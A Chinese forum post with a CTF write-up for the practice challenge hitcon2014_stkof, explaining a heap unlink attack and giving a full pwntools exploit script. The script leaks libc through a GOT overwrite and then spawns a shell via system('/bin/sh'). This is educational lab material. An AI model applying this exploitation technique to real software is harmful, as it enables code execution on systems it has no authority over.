bnuzgn 发表于 2023-10-1 13:55

[unlink]hitcon2014_stkof

本帖最后由 bnuzgn 于 2023-10-1 13:57 编辑

题目来源
buuctf——hitcon2014_stkof
参考链接
https://blog.csdn.net/mcmuyanga/article/details/112602827
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
题目信息

libc_2.23、64位   


没有setbuf函数,因此程序不会自动申请标准输入与标准输出的堆空间(大小为0x410),且这些堆空间是用的时候才会被申请的,因此本题中申请的第一个堆会被两个0x410的堆夹在中间。
   

add函数中初始化了堆大小
   

edit函数由用户自定义大小,可以溢出   


注意,free函数会将结构体的地址清零,从而无法构造unlink链。
   

show函数无法控制输出的内容,本题中不会使用。
   
解题思路

unlink的常见利用方式仅限于2.27之前,也只有本题利用了unlink,算是小众方法。【特殊性】由于show函数的缘故,无法通过常规方法通过puts函数输出puts_got最后得到libc的地址,所以需要修改结构体的地址为free_got再用edit函数将内容指向puts_plt,才可以得到puts_got。
【类比】这种思路同fastbin attack相同,都是直接修改结构体的内容,但是本题找不到=、=。
【解法】
[*]申请三个chunk,包含头部大小分别为0x20,0x30,0x90,chunk 1用来setbuf献祭,0x30删去0x10的head剩下0x20构造已经被释放的fake chunk的结构,0x90用于触发unlink。
[*]编辑chunk 2,构造fake chunk并修改chunk 2的head:

[*]在0x20的内容段中填写 p64(0) + p64(0x21) + p64(bss + 0x10 -0x18) + p64(bss + 0x10 -0x10),前两个是head,后两个是fd和bk(原理参考链接1)
[*]溢出修改chunk 3的head,将previous size改成0x20,size段中0x91改成0x90
[*]释放chunk3,此时chunk2的结构体的内容将会被修改为这个结构体的地址-0x18
[*]编辑chunk2可以修改结构体的内容了
[*]修改free_got指向puts_plt

关键步骤

[*]构造fake chunk,填写fd与bk
[*]修改free_got指向puts_plt,而不是将free_plt指向puts_got。后者虽然看起来逻辑通顺,前者多了两个环节,但是如此一来_dl_runtime_resolve中的表项就对不上了,会报错(原理参考链接2)
wp#coding: utf-8
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./hitcon2014_stkof"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",28964)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

def add(size):
    sl("1")
    sl(str(size))

def edit(index,content):
    sl("2")
    sl(str(index))
    sl(str(len(content)))
    sl(content)

def free(index):
    sl("3")
    sl(str(index))

def show(index):
    sl("4")
    sl(str(index))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']

bss = 0x602140
target = bss+0x10
add(0x10) #1
add(0x20) #2
add(0x80) #3
add(0x20) #4

payload = p64(0) + p64(0x21) + p64(target-0x18) + p64(target-0x10) + p64(0x20) + p64(0x90)
edit(2,payload)
free(3)
# db()
payload = p64(0) + p64(free_got) + p64(puts_got)
edit(2,payload)
edit(0,p64(puts_plt))
free(1)

puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym["system"]
lg('libc_base')
# db()

edit(4,"/bin/sh")
edit(0,p64(system_addr))
free(4)
ti()

jzghcj 发表于 2023-10-2 15:53

看着很厉害的样子,可惜我不懂,给你个大赞

yaphoo 发表于 2023-10-4 08:11

大神级别,小菜是看不懂的
页: [1]
查看完整版本: [unlink]hitcon2014_stkof